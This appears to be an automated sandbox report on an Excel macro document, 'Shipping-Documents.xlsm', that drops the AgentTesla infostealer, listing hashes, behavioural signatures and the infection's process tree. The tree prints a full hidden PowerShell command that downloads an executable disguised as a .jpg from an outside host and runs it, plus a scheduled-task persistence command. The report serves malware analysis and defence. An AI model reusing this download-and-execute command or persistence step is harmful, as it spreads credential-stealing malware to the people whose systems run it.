Analysis
-
max time kernel
96s -
max time network
67s -
platform
windows7_x64 -
resource
win7 -
submitted
09-07-2020 15:00
Static task
static1
Behavioral task
behavioral1
Sample
Shipping-Documents.xlsm
Resource
win7
Behavioral task
behavioral2
Sample
Shipping-Documents.xlsm
Resource
win10v200430
General
-
Target
Shipping-Documents.xlsm
-
Size
152KB
-
MD5
ffaffe494f31800a47057a82843480c5
-
SHA1
8a0695bc3f0776a769693ff22db7cd1e3ed0c177
-
SHA256
ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e
-
SHA512
7e3ad55095d6859192596254ab7464c4a8368cc98049e4e8d45158fd16f50bb99ab6c3e45c7761f4655255a366c02da236a5298b35f723668120652826cfd2c9
Malware Config
Extracted
http://shopcart.indbytes.com/cig/myori.jpg
Signatures
-
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 112 EXCEL.EXE 112 EXCEL.EXE 112 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1048 112 cmd.exe EXCEL.EXE -
Loads dropped DLL 1 IoCs
Processes:
csle.exepid process 1876 csle.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Office loads VBA resources, possible macro or embedded object present
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 112 EXCEL.EXE -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1512 powershell.exe -
Executes dropped EXE 2 IoCs
Processes:
csle.execsle.exepid process 1876 csle.exe 1644 csle.exe -
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
EXCEL.EXEcmd.exepowershell.execsle.exedescription pid process target process PID 112 wrote to memory of 1048 112 EXCEL.EXE cmd.exe PID 112 wrote to memory of 1048 112 EXCEL.EXE cmd.exe PID 112 wrote to memory of 1048 112 EXCEL.EXE cmd.exe PID 1048 wrote to memory of 1512 1048 cmd.exe powershell.exe PID 1048 wrote to memory of 1512 1048 cmd.exe powershell.exe PID 1048 wrote to memory of 1512 1048 cmd.exe powershell.exe PID 1512 wrote to memory of 1876 1512 powershell.exe csle.exe PID 1512 wrote to memory of 1876 1512 powershell.exe csle.exe PID 1512 wrote to memory of 1876 1512 powershell.exe csle.exe PID 1512 wrote to memory of 1876 1512 powershell.exe csle.exe PID 1876 wrote to memory of 1788 1876 csle.exe schtasks.exe PID 1876 wrote to memory of 1788 1876 csle.exe schtasks.exe PID 1876 wrote to memory of 1788 1876 csle.exe schtasks.exe PID 1876 wrote to memory of 1788 1876 csle.exe schtasks.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe PID 1876 wrote to memory of 1644 1876 csle.exe csle.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
csle.exedescription pid process target process PID 1876 set thread context of 1644 1876 csle.exe csle.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.execsle.execsle.exedescription pid process Token: SeDebugPrivilege 1512 powershell.exe Token: SeDebugPrivilege 1876 csle.exe Token: SeDebugPrivilege 1644 csle.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.execsle.execsle.exepid process 1512 powershell.exe 1512 powershell.exe 1876 csle.exe 1644 csle.exe 1644 csle.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
Processes
-
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Shipping-Documents.xlsm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')3⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\csle.exe"C:\Users\Admin\AppData\Local\Temp\csle.exe"4⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eKYWQxlZZ" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC6D7.tmp"5⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csle.exe"{path}"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csle.exe
-
C:\Users\Admin\AppData\Local\Temp\csle.exe
-
C:\Users\Admin\AppData\Local\Temp\csle.exe
-
C:\Users\Admin\AppData\Local\Temp\tmpC6D7.tmp
-
\Users\Admin\AppData\Local\Temp\csle.exe
-
memory/112-0-0x000000000043A000-0x000000000043C000-memory.dmpFilesize
8KB
-
memory/112-2-0x0000000000439000-0x000000000043A000-memory.dmpFilesize
4KB
-
memory/1048-3-0x0000000000000000-mapping.dmp
-
memory/1512-4-0x0000000000000000-mapping.dmp
-
memory/1644-17-0x0000000000400000-0x000000000044C000-memory.dmpFilesize
304KB
-
memory/1644-16-0x0000000000400000-0x000000000044C000-memory.dmpFilesize
304KB
-
memory/1644-13-0x0000000000400000-0x000000000044C000-memory.dmpFilesize
304KB
-
memory/1644-14-0x000000000044718E-mapping.dmp
-
memory/1788-10-0x0000000000000000-mapping.dmp
-
memory/1876-9-0x0000000000000000-0x0000000000000000-disk.dmp
-
memory/1876-5-0x0000000000000000-mapping.dmp